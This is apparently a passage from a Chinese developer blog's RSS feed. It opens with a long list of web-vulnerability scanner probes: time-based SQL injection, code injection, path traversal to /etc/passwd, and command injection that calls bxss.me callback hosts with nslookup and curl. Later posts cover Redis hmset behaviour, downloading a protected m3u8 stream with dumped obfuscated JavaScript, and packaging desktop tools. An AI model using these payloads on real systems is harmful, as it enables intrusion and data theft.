LkXCLN9W'; waitfor delay '0:0:15' -- 
Q7qikNOp' OR 43=(SELECT 43 FROM PG_SLEEP(15))--
4ofH2iTX') OR 996=(SELECT 996 FROM PG_SLEEP(15))--
Yp6UTf13')) OR 909=(SELECT 909 FROM PG_SLEEP(15))--
@@TnwBO
r28l1zSQ'; waitfor delay '0:0:15' -- 
eY5wrHhS' OR 463=(SELECT 463 FROM PG_SLEEP(15))--
c8T2gMfk') OR 322=(SELECT 322 FROM PG_SLEEP(15))--
9G8OUeOT')) OR 795=(SELECT 795 FROM PG_SLEEP(15))--
TWYECcam
@@Y57b3
-1 OR 2+955-955-1=0+0+0+1 -- 
-1 OR 2+454-454-1=0+0+0+1
-1' OR 2+434-434-1=0+0+0+1 -- 
xCiXJLfS
-1' OR 2+102-102-1=0+0+0+1 or 'Y7Jeh4oD'='
-1&amp;quot; OR 2+662-662-1=0+0+0+1 -- 
-1 OR 2+913-913-1=0+0+0+1 -- 
-1 OR 2+854-854-1=0+0+0+1
-1' OR 2+127-127-1=0+0+0+1 -- 
-1' OR 2+320-320-1=0+0+0+1 or 'm5tul3Ho'='
-1&amp;quot; OR 2+174-174-1=0+0+0+1 -- 
qymRhoN0'; waitfor delay '0:0:15' -- 
JEdrwrKo' OR 622=(SELECT 622 FROM PG_SLEEP(15))--
lSDr6V1G') OR 797=(SELECT 797 FROM PG_SLEEP(15))--
pojyfgpF'; waitfor delay '0:0:15' -- 
YoKWsRdn')) OR 175=(SELECT 175 FROM PG_SLEEP(15))--
m0bXtXEH' OR 768=(SELECT 768 FROM PG_SLEEP(15))--
MEfm0Drz') OR 544=(SELECT 544 FROM PG_SLEEP(15))--
@@5cOsd
VQUsMg6y')) OR 517=(SELECT 517 FROM PG_SLEEP(15))--
@@NWiCn
&amp;quot;+&amp;quot;A&amp;quot;.concat(70-3).concat(22*4).concat(121).concat(85).concat(115).concat(67)+(require&amp;quot;socket&amp;quot;
Socket.gethostbyname(&amp;quot;hitst&amp;quot;+&amp;quot;srmbbhbec67c1.bxss.me.&amp;quot;)[3].to_s)+&amp;quot;
response.write(9045529*9064400)
'+'A'.concat(70-3).concat(22*4).concat(122).concat(89).concat(103).concat(87)+(require'socket'
Socket.gethostbyname('hitjj'+'iavjtlgsadee5.bxss.me.')[3].to_s)+'
'+response.write(9045529*9064400)+'
'A'.concat(70-3).concat(22*4).concat(107).concat(86).concat(104).concat(76)+(require'socket'
Socket.gethostbyname('hityf'+'koealnvt5e322.bxss.me.')[3].to_s)
&amp;quot;+response.write(9045529*9064400)+&amp;quot;
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
!(()&amp;amp;&amp;amp;!|*|*|
&amp;quot;;print(md5(31337));$a=&amp;quot;
^(#$!@#$)(()))******
../../../../../../../../../../../../../../etc/passwd
${@print(md5(31337))}
../../../../../../../../../../../../../../windows/win.ini
${@print(md5(31337))}\
'.print(md5(31337)).'
file:///etc/passwd
../
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
../../../../../../../../../../../../../../etc/shells
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hitwk'.'wvognwak94d12.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(74).chr(106).chr(70).'
&amp;quot;.gethostbyname(lc(&amp;quot;hitun&amp;quot;.&amp;quot;ddbipcxn1bcfe.bxss.me.&amp;quot;)).&amp;quot;A&amp;quot;.chr(67).chr(hex(&amp;quot;58&amp;quot;)).chr(106).chr(70).chr(121).chr(85).&amp;quot;
gethostbyname(lc('hitjg'.'magphqcaba2c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(86).chr(97).chr(65)
'&amp;quot;()
'&amp;amp;&amp;amp;sleep(27*1000)*zwvrii&amp;amp;&amp;amp;'
echo yqvnpa$()\ dzwtva\nz^xyu||a #' &amp;amp;echo yqvnpa$()\ dzwtva\nz^xyu||a #|&amp;quot; &amp;amp;echo yqvnpa$()\ dzwtva\nz^xyu||a #
&amp;quot;&amp;amp;&amp;amp;sleep(27*1000)*ncsdvq&amp;amp;&amp;amp;&amp;quot;
&amp;amp;echo qbumwv$()\ xjyxzj\nz^xyu||a #' &amp;amp;echo qbumwv$()\ xjyxzj\nz^xyu||a #|&amp;quot; &amp;amp;echo qbumwv$()\ xjyxzj\nz^xyu||a #
'||sleep(27*1000)*gvzkot||'
|echo abopqv$()\ rytabv\nz^xyu||a #' |echo abopqv$()\ rytabv\nz^xyu||a #|&amp;quot; |echo abopqv$()\ rytabv\nz^xyu||a #&amp;quot;||sleep(27*1000)*ghayjm||&amp;quot;
(nslookup -q=cname hitxknfbuvcytb6fbe.bxss.me||curl hitxknfbuvcytb6fbe.bxss.me))
$(nslookup -q=cname hiticgobfcbwa7b0fb.bxss.me||curl hiticgobfcbwa7b0fb.bxss.me)
&amp;amp;nslookup -q=cname hituxlafypvktf9373.bxss.me&amp;amp;'\&amp;quot;`0&amp;amp;nslookup -q=cname hituxlafypvktf9373.bxss.me&amp;amp;`'
&amp;amp;(nslookup -q=cname hituyqrvzfsmw3f676.bxss.me||curl hituyqrvzfsmw3f676.bxss.me)&amp;amp;'\&amp;quot;`0&amp;amp;(nslookup -q=cname hituyqrvzfsmw3f676.bxss.me||curl hituyqrvzfsmw3f676.bxss.me)&amp;amp;`'
|(nslookup -q=cname hitficmsiwtqkcb2ba.bxss.me||curl hitficmsiwtqkcb2ba.bxss.me)
`(nslookup -q=cname hithlczbamznk5469f.bxss.me||curl hithlczbamznk5469f.bxss.me)`
;(nslookup -q=cname hitvjmulqyoez231f0.bxss.me||curl hitvjmulqyoez231f0.bxss.me)|(nslookup -q=cname hitvjmulqyoez231f0.bxss.me||curl hitvjmulqyoez231f0.bxss.me)&amp;amp;(nslookup -q=cname hitvjmulqyoez231f0.bxss.me||curl hitvjmulqyoez231f0.bxss.me)
|(nslookup${IFS}-q${IFS}cname${IFS}hitjlrljaqmled4929.bxss.me||curl${IFS}hitjlrljaqmled4929.bxss.me)
&amp;amp;(nslookup${IFS}-q${IFS}cname${IFS}hiteqnzfohsxpbb0d1.bxss.me||curl${IFS}hiteqnzfohsxpbb0d1.bxss.me)&amp;amp;'\&amp;quot;`0&amp;amp;(nslookup${IFS}-q${IFS}cname${IFS}hiteqnzfohsxpbb0d1.bxss.me||curl${IFS}hiteqnzfohsxpbb0d1.bxss.me)&amp;amp;`'
eNixC1e6j
-1 OR 2+580-580-1=0+0+0+1 -- 
-1 OR 2+76-76-1=0+0+0+1
-1' OR 2+292-292-1=0+0+0+1 -- 
-1' OR 2+206-206-1=0+0+0+1 or 'KufDtOlt'='
-1&amp;quot; OR 2+854-854-1=0+0+0+1 -- 
mLDGf1yO'; waitfor delay '0:0:15' -- 
8EbTtZPt' OR 120=(SELECT 120 FROM PG_SLEEP(15))--
AtVXmDaq') OR 216=(SELECT 216 FROM PG_SLEEP(15))--
6ZffQC7J')) OR 977=(SELECT 977 FROM PG_SLEEP(15))--
@@YpBY7
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Tue, 20 Aug 2024 09:21:18 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/135.html</comments>
    </item>
    <item>
      <title>Redis Map 增长问题</title>
      <link>https://www.baby7blog.com/myBlog/134.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1722837867475707580" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Redis Map 增长问题&lt;/h1&gt;

&lt;h2&gt;原因:&lt;/h2&gt;
&lt;p&gt;redis中的hmset命令合并新增的和原先的（重复的覆盖），而不是重置，需要先del后再新增。下面是验证过程：&lt;/p&gt;
&lt;h2&gt;redis命令验证:&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-ssh"&gt;127.0.0.1:0&amp;gt;hmset TestMap test1 &amp;quot;11111&amp;quot; test2 &amp;quot;22222&amp;quot;
&amp;quot;OK&amp;quot;

127.0.0.1:0&amp;gt;hget TestMap test1
&amp;quot;11111&amp;quot;

127.0.0.1:0&amp;gt;hmset TestMap test2 &amp;quot;22222&amp;quot;
&amp;quot;OK&amp;quot;

127.0.0.1:0&amp;gt;hget TestMap test1
&amp;quot;11111&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;java验证&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.ems.dsp.util.RedisClient;
import org.junit.jupiter.api.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.test.context.junit4.SpringRunner;

import java.util.HashMap;
import java.util.Map;

@RunWith(SpringRunner.class)
@SpringBootTest
public class JedisTest {

    @Autowired
    private RedisClient redisClient;

    @Test
    public void redisDemo(){
        String key = &amp;quot;TestMap&amp;quot;;

        Map&amp;lt;String,String&amp;gt; map1 = new HashMap&amp;lt;&amp;gt;();
        map1.put(&amp;quot;test1&amp;quot;,&amp;quot;11111&amp;quot;);
        map1.put(&amp;quot;test2&amp;quot;,&amp;quot;22222&amp;quot;);
        redisClient.hmset(key, map1);
        System.out.println(&amp;quot;########################################################&amp;quot;);
        System.out.println(redisClient.hmget(key, &amp;quot;test1&amp;quot;));
        System.out.println(&amp;quot;########################################################&amp;quot;);
        // 结果为11111

        Map&amp;lt;String,String&amp;gt; map2 = new HashMap&amp;lt;&amp;gt;();
        map2.put(&amp;quot;test2&amp;quot;,&amp;quot;22222&amp;quot;);
        redisClient.hmset(key, map2);
        System.out.println(&amp;quot;********************************************************&amp;quot;);
        System.out.println(redisClient.hmget(key, &amp;quot;test1&amp;quot;));
        System.out.println(&amp;quot;********************************************************&amp;quot;);
        // 结果依然为11111
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Mon, 05 Aug 2024 06:04:29 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/134.html</comments>
    </item>
    <item>
      <title>记一次m3u8文件的下载</title>
      <link>https://www.baby7blog.com/myBlog/133.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1715521703244679168" width="800"&gt;&lt;br&gt;&lt;h1&gt;记一次m3u8文件的下载&lt;/h1&gt;

&lt;h3&gt;记录&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;手机到浏览器粘贴网址，可以正常播放，复制地址到电脑端无法播放&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;电脑端打开F12发现会重复卡在debuggger，是一种反破解的手段&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;手机端使用HttpCanary进行抓包，但是抓不到，发现是https，需要HttpCanary安装证书，但是需要root，比较麻烦&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;地址换成http，可以抓到了，第一个请求是一个正常网址，第二个请求返回了一堆js的函数，是经过加密的，经过搜索发现是一个叫jsjiami的网站进行加密的，网站:&lt;a href="https://www.jsjiami.com/"&gt;https://www.jsjiami.com/&lt;/a&gt;，加密程度非常高，我会在文章附录贴一下代码，有兴趣的读者可以试试&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将其放到jsjiami解密函数网站：&lt;a href="https://www.jsjiami.com/jiemi.html"&gt;https://www.jsjiami.com/jiemi.html&lt;/a&gt;还是无法全部解密&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用手机浏览器的资源嗅探功能可以获取到一个m3u8的文件地址，但是无法直接下载，所以使用HttpCanary抓包到的第一个网址的cookie加上这个m3u8的文件的地址使用postman成功获取到了m3u8的文件信息&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用m3u8下载工具下所有的切割文件，但是这些文件是.jpg格式的，可以通过填充文件头还原成ts文件，文章附录有转换的python代码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;然后对m3u8文件中的切割文件进行提取，通过这个对处理后的切割文件进行排序&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后使用m3u8工具对切割文件进行合成就成功了&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;附录&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;文件格式还原python代码&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import os
import os.path


def resolve_ts(src_path, dst_path):
    '''
    如果m3u8返回的ts文件地址为图片，则需要下面处理后 才能进行合并
    原因在于 使用Hexeditor打开后，发现文件头被描述为了PNG
    在这种情况下，只需要将其中PNG/jpg文件头部分全部使用FF填充，即可处理该问题
    :return:
    '''
    if not os.path.exists(dst_path):
        os.mkdir(dst_path)
    file_list = sorted(os.listdir(src_path), key=lambda x: x.split('.')[0])
    for i in file_list:
        origin_ts = os.path.join(src_path, i)
        resolved_ts = os.path.join(dst_path, i)
        try:
            infile = open(origin_ts, &amp;quot;rb&amp;quot;)  # 打开文件
            outfile = open(resolved_ts, &amp;quot;wb&amp;quot;)  # 内容输出
            data = infile.read()
            outfile.write(data)
            outfile.seek(0x00)
            outfile.write(b'\xff\xff\xff\xff')
            outfile.flush()
            infile.close()  # 文件关闭
            outfile.close()
        except:
            pass
        print('resolve ' + origin_ts + ' success')

resolve_ts(&amp;quot;原目录&amp;quot;, &amp;quot;新目录&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;js加密代码&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;var _0xodc='jsjiami.com.v6',&lt;em&gt;0xodc&lt;/em&gt;=function(){return['_0xodc'],_0x1dab=[_0xodc,'\x73\x65\x74\x49\x6e\x74\x65\x72\x76\x61\x6c','\x6a\x73\x6a','\x69\x61\x6d','\x75\x6e\x64\x65\x66\x69','\x6e\x65\x64','\x69\x2e\x63\x6f\x6d\x2e\x76','\x6c\x65\x6e\x67\x74\x68','\x70\x75\x73\x68','\x64\x6f\x63\x75\x6d\x65\x6e\x74','\x6f\x70\x65\x6e','\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x3b\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x75\x74\x66\x2d\x38','\x72\x65\x70\x6c\x61\x63\x65','\x77\x72\x69\x74\x65','\x63\x6c\x6f\x73\x65','\x6f\x6e\x6c\x6f\x61\x64','\x72\x65\x73\x70\x6f\x6e\x73\x65\x54\x65\x78\x74','\x72\x65\x6e\x64\x65\x72\x28\x29','\x61\x70\x70\x6c\x79','\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x2a\x5c\x28\x20\x2a\x5c\x29','\x5c\x2b\x5c\x2b\x20\x2a\x28\x3f\x3a\x28\x3f\x3a\x5b\x61\x2d\x7a\x30\x2d\x39\x41\x2d\x5a\x5f\x5d\x29\x7b\x31\x2c\x38\x7d\x7c\x28\x3f\x3a\x5c\x62\x7c\x5c\x64\x29\x5b\x61\x2d\x7a\x30\x2d\x39\x5f\x5d\x7b\x31\x2c\x38\x7d\x28\x3f\x3a\x5c\x62\x7c\x5c\x64\x29\x29','\x69\x6e\x69\x74','\x74\x65\x73\x74','\x63\x68\x61\x69\x6e','\x69\x6e\x70\x75\x74','\x72\x65\x74\x75\x72\x6e\x20\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x20','\x7b\x7d\x2e\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\x28\x22\x72\x65\x74\x75\x72\x6e\x20\x74\x68\x69\x73\x22\x29\x28\x20\x29','\x63\x6f\x6e\x73\x6f\x6c\x65','\x6c\x6f\x67','\x77\x61\x72\x6e','\x64\x65\x62\x75\x67','\x69\x6e\x66\x6f','\x65\x72\x72\x6f\x72','\x65\x78\x63\x65\x70\x74\x69\x6f\x6e','\x74\x72\x61\x63\x65','\x52\x65\x67\x45\x78\x70','\x28\x5e\x7c\x26\x29','\x3d\x28\x5b\x5e\x26\x5d\x2a\x29\x28\x26\x7c\x24\x29','\x6c\x6f\x63\x61\x74\x69\x6f\x6e','\x73\x65\x61\x72\x63\x68','\x73\x75\x62\x73\x74\x72','\x6d\x61\x74\x63\x68','\x75\x6e\x65\x73\x63\x61\x70\x65','\x47\x45\x54','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x6f\x73\x2e\x35\x38\x63\x64\x6e\x2e\x63\x6f\x6d\x2e\x63\x6e\x2f\x49\x6a\x47\x66\x45\x64\x43\x62\x49\x6c\x72\x2f\x69\x73\x68\x61\x72\x65\x2f\x69\x6d\x61\x67\x65\x5f\x32\x37\x34\x32\x38\x30\x31\x38\x37\x38\x33\x37\x35\x35\x30\x34\x35\x2e\x70\x6e\x67\x3f\x5f\x74\x3d','\x44\x61\x74\x65','\x6e\x6f\x77','\x73\x65\x6e\x64','\x73\x74\x72\x69\x6e\x67','\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72','\x64\x65\x62\x75\x67\x67\x65\x72\x3b','\x63\x6f\x75\x6e\x74\x65\x72','\x64\x65\x62\x75','\x67\x67\x65\x72','\x63\x61\x6c\x6c','\x61\x63\x74\x69\x6f\x6e','\x73\x74\x61\x74\x65\x4f\x62\x6a\x65\x63\x74','\x4a\x42\x6a\x58\x73\x58\x72\x6a\x64\x69\x61\x6d\x69\x2e\x62\x62\x53\x45\x63\x6f\x6d\x52\x67\x2e\x76\x36\x5a\x47\x47\x4b\x3d\x3d'];}();function _0x4354(_0x57a262,_0x5bf6cd){_0x57a262=~~'0x'&lt;a href="_0x57a262['slice'](0x0)"&gt;'concat'&lt;/a&gt;;var _0x494c87=_0x1dab[_0x57a262];return _0x494c87;};(function(_0x1199f3,_0x216845){var _0x19be3a=0x0;for(_0x216845=_0x1199f3&lt;a href="_0x19be3a&amp;gt;&amp;gt;0x2"&gt;'shift'&lt;/a&gt;;_0x216845&amp;amp;&amp;amp;_0x216845!==(_0x1199f3&lt;a href="_0x19be3a&amp;gt;&amp;gt;0x3"&gt;'pop'&lt;/a&gt;+'')&lt;a href="/[JBXXrdbbSERgZGGK=]/g,''"&gt;'replace'&lt;/a&gt;;_0x19be3a++){_0x19be3a=_0x19be3a^0x14aaec;}}(_0x1dab,_0x4354));window[_0x4354('0')](function(){function _0x50207d(_0x2f71db,_0x3b5331){return _0x2f71db+_0x3b5331;}var _0x2c048f=_0x50207d(_0x4354('1'),_0x4354('2')),_0x40f860='';if(typeof _0xodc==_0x50207d(_0x4354('3'),_0x4354('4'))&amp;amp;&amp;amp;_0x40f860===''||_0x50207d(_0xodc,'')!=_0x50207d(_0x50207d(_0x50207d(_0x2c048f,_0x4354('5')),_0x2c048f[_0x4354('6')]),'')){var _0x44d2b1=[];while(_0x44d2b1[_0x4354('6')]&amp;gt;-0x1){_0x44d2b1&lt;a href="_0x44d2b1[_0x4354('6')]^0x2"&gt;_0x4354('7')&lt;/a&gt;;}}_0x2c3f97();},0x7d0);var BBY1=null;var Ky2=new XMLHttpRequest();var PyNwtDi3=GetQueryString('\x63\x69');function render(){var _0x2f8245=window[_0x4354('8')]&lt;a href="_0x4354('a'),_0x4354('b')"&gt;_0x4354('9')&lt;/a&gt;;_0x2f8245&lt;a href="BBY1"&gt;_0x4354('c')&lt;/a&gt;;_0x2f8245&lt;a href=""&gt;_0x4354('d')&lt;/a&gt;;}Ky2[_0x4354('e')]=function(){BBY1=Ky2[_0x4354('f')];if(0x0&amp;gt;0x0){setTimeout(_0x4354('10'),0x0*0x3e8);}else{render();}};function GetQueryString(_0x1311b9){var _0x1237c2=function(_0x7b2abc){var _0x14528f=!![];return function(_0x152aaa,_0x3ac20b){var _0x497338='';var _0x2afe97=_0x14528f?function(){if(_0x497338===''&amp;amp;&amp;amp;_0x3ac20b){var _0x4de7e7=_0x3ac20b&lt;a href="_0x152aaa,arguments"&gt;_0x4354('11')&lt;/a&gt;;_0x3ac20b=null;return _0x4de7e7;}}:function(_0x7b2abc){};_0x14528f=![];var _0x7b2abc='';return _0x2afe97;};}();(function(){_0x1237c2(this,function(){var _0x28dd94=new RegExp(_0x4354('12'));var _0x21fde8=new RegExp(_0x4354('13'),'\x69');var _0x2b2bb5=_0x2c3f97(_0x4354('14'));if(!_0x28dd94&lt;a href="_0x2b2bb5+_0x4354('16')"&gt;_0x4354('15')&lt;/a&gt;||!_0x21fde8&lt;a href="_0x2b2bb5+_0x4354('17')"&gt;_0x4354('15')&lt;/a&gt;){_0x2b2bb5('\x30');}else{_0x2c3f97();}})();}());var _0x2d50e7=function(_0x34b4ac){var _0x5ab30c=!![];return function(_0x1613e4,_0x495974){var _0x37241e='';var _0x45a872=_0x5ab30c?function(){if(_0x37241e===''&amp;amp;&amp;amp;_0x495974){var _0x2e891c=_0x495974&lt;a href="_0x1613e4,arguments"&gt;_0x4354('11')&lt;/a&gt;;_0x495974=null;return _0x2e891c;}}:function(_0x34b4ac){};_0x5ab30c=![];var _0x34b4ac='';return _0x45a872;};}();var _0x132348=_0x2d50e7(this,function(){var _0x247a45=function(){};var _0x10ce6d;try{var _0x544599=Function(_0x4354('18')+_0x4354('19')+'\x29\x3b');_0x10ce6d=_0x544599();}catch(_0x1b9c23){_0x10ce6d=window;}if(!_0x10ce6d[_0x4354('1a')]){_0x10ce6d[_0x4354('1a')]=function(_0x247a45){var _0x30e96b={};_0x30e96b[_0x4354('1b')]=_0x247a45;_0x30e96b[_0x4354('1c')]=_0x247a45;_0x30e96b[_0x4354('1d')]=_0x247a45;_0x30e96b[_0x4354('1e')]=_0x247a45;_0x30e96b[_0x4354('1f')]=_0x247a45;_0x30e96b[_0x4354('20')]=_0x247a45;_0x30e96b[_0x4354('21')]=_0x247a45;return _0x30e96b;}(_0x247a45);}else{_0x10ce6d[_0x4354('1a')][_0x4354('1b')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1c')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1d')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1e')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('1f')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('20')]=_0x247a45;_0x10ce6d[_0x4354('1a')][_0x4354('21')]=_0x247a45;}});_0x132348();var _0x1a044b=new window&lt;a href="_0x4354('23')+_0x1311b9+_0x4354('24')"&gt;(_0x4354('22'))&lt;/a&gt;;var _0x5a699c=window[_0x4354('25')][_0x4354('26')]&lt;a href="0x1"&gt;_0x4354('27')&lt;/a&gt;&lt;a href="_0x1a044b"&gt;_0x4354('28')&lt;/a&gt;;if(_0x5a699c!=null){return window&lt;a href="_0x5a699c[0x2]"&gt;_0x4354('29')&lt;/a&gt;;}return null;}if(PyNwtDi3==0x0){Ky2&lt;a href="_0x4354('2a'),_0x4354('2b')+window[_0x4354('2c')][_0x4354('2d')](),!0x0"&gt;_0x4354('9')&lt;/a&gt;;Ky2&lt;a href=""&gt;_0x4354('2e')&lt;/a&gt;;}else{Ky2&lt;a href="_0x4354('2a'),_0x4354('2b')+window[_0x4354('2c')][_0x4354('2d')](),!0x0"&gt;_0x4354('9')&lt;/a&gt;;Ky2&lt;a href=""&gt;_0x4354('2e')&lt;/a&gt;;}function _0x2c3f97(_0x29ffae){function _0xc9c520(_0x2c9d5d){if(typeof _0x2c9d5d===_0x4354('2f')){return function(_0x5e764f){}&lt;a href="_0x4354('31')"&gt;_0x4354('30')&lt;/a&gt;&lt;a href="_0x4354('32')"&gt;_0x4354('11')&lt;/a&gt;;}else{if((''+_0x2c9d5d/_0x2c9d5d)[_0x4354('6')]!==0x1||_0x2c9d5d%0x14===0x0){(function(){return!![];}&lt;a href="_0x4354('33')+_0x4354('34')"&gt;_0x4354('30')&lt;/a&gt;&lt;a href="_0x4354('36')"&gt;_0x4354('35')&lt;/a&gt;);}else{(function(){return![];}&lt;a href="_0x4354('33')+_0x4354('34')"&gt;_0x4354('30')&lt;/a&gt;&lt;a href="_0x4354('37')"&gt;_0x4354('11')&lt;/a&gt;);}}_0xc9c520(++_0x2c9d5d);}try{if(_0x29ffae){return _0xc9c520;}else{_0xc9c520(0x0);}}catch(_0x3b167e){}};_0xodc='jsjiami.com.v6';&lt;/p&gt;</description>
      <category>爬虫相关</category>
      <pubDate>Sun, 12 May 2024 14:06:26 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/133.html</comments>
    </item>
    <item>
      <title>七仔的桌面工具</title>
      <link>https://www.baby7blog.com/myBlog/132.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1714012498918989676" width="800"&gt;&lt;br&gt;
&lt;h1&gt;七仔的桌面工具&lt;/h1&gt;

&lt;h2&gt;介绍&lt;/h2&gt;
&lt;p&gt;具有查看日期时间、天气、工作日、记录喝水、查询微博热搜、60s读世界和各种小工具的桌面工具，可以在托盘区单击隐藏和弹出，或使用快捷键Alt+1&lt;/p&gt;
&lt;h2&gt;演示视频和截图&lt;/h2&gt;
&lt;video width="800" height="600" controls&gt; 
  &lt;source src="https://media.baby7blog.com/video/2024-04-25%2010-28-50.mkv" type="video/mp4"&gt; 
&lt;/video&gt; 
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1714012687078867223" alt="image.png" /&gt;&lt;/p&gt;
&lt;h2&gt;说明&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;可以将托盘区小图标拖到任务栏，然后点击小图标可以隐藏和展示&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;使用快捷键Alt+1可以隐藏和展示&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在托盘区右键可以弹出菜单&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;计划&lt;/h2&gt;
&lt;p&gt;后期打算将这一块一块的都做成可单独开发的小模块，然后做成开源的&lt;/p&gt;
&lt;h2&gt;下载&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;蓝奏云：&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://agiletiles.lanzoue.com/iaeGk36p15ij"&gt;https://agiletiles.lanzoue.com/iaeGk36p15ij&lt;/a&gt;&lt;/p&gt;</description>
      <category>桌面技术</category>
      <pubDate>Thu, 25 Apr 2024 02:39:40 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/132.html</comments>
    </item>
    <item>
      <title>一种用Python做界面和Java做后端的Win客户端运行逻辑</title>
      <link>https://www.baby7blog.com/myBlog/131.html</link>
      <description>&lt;img src="https://media.baby7blog.com/1714007929222633567" width="800"&gt;&lt;br&gt;
&lt;h1&gt;一种用Python做界面和Java做后端的Win客户端运行逻辑&lt;/h1&gt;

&lt;h3&gt;前言&lt;/h3&gt;
&lt;p&gt;使用PyQt5做界面，使用SpringBoot做后端，都打成exe，然后Python启动时启动Java后端，使用http做交互&lt;/p&gt;
&lt;p&gt;&lt;img src="https://media.baby7blog.com/1714007929222633567" alt="一种用Python做界面和Java做后端的Win客户端运行逻辑" /&gt;&lt;/p&gt;
&lt;h2&gt;一、Java打包成exe&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;首先将SpringBoot程序打成Jar包，这个想必就不用多说了&lt;/li&gt;
&lt;li&gt;然后使用exe4j将Jar包打成exe，打包时Jre地址填相同路径，然后将Jre文件夹复制到exe同目录下&lt;/li&gt;
&lt;li&gt;关于exe4j打包可以参考:&lt;a href="https://www.cnblogs.com/ssrs-wanghao/articles/11819798.html"&gt;SpringBoot项目打包exe&lt;/a&gt;，另外不需要这个文章中的 Inno Setup&lt;/li&gt;
&lt;li&gt;我这里将文章裁剪然后存成了word，点击下载：&lt;a href="https://media.baby7blog.com/pdf/SpringBoot%E9%A1%B9%E7%9B%AE%E6%89%93%E5%8C%85exe.pdf"&gt;SpringBoot项目打包exe&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;二、Python打包exe&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;安装Pyinstaller&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;pip install pyinstaller
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start="2"&gt;
&lt;li&gt;打包exe&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;pyinstaller -F -w -n 程序名 main.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-F, --onefile 打包一个单个文件
-w, 不打开命令行
-n 程序名&lt;/p&gt;
&lt;h2&gt;三、部分代码逻辑&lt;/h2&gt;
&lt;h3&gt;1. python运行外部exe&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;subprocess.call(&amp;quot;目录/程序名.exe&amp;quot;, creationflags=subprocess.CREATE_NO_WINDOW)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. python杀死外部exe&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;subprocess.call(&amp;quot;taskkill /f /t /im {}&amp;quot;.format(&amp;quot;程序名.exe&amp;quot;), creationflags=subprocess.CREATE_NO_WINDOW)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. 其他&lt;/h3&gt;
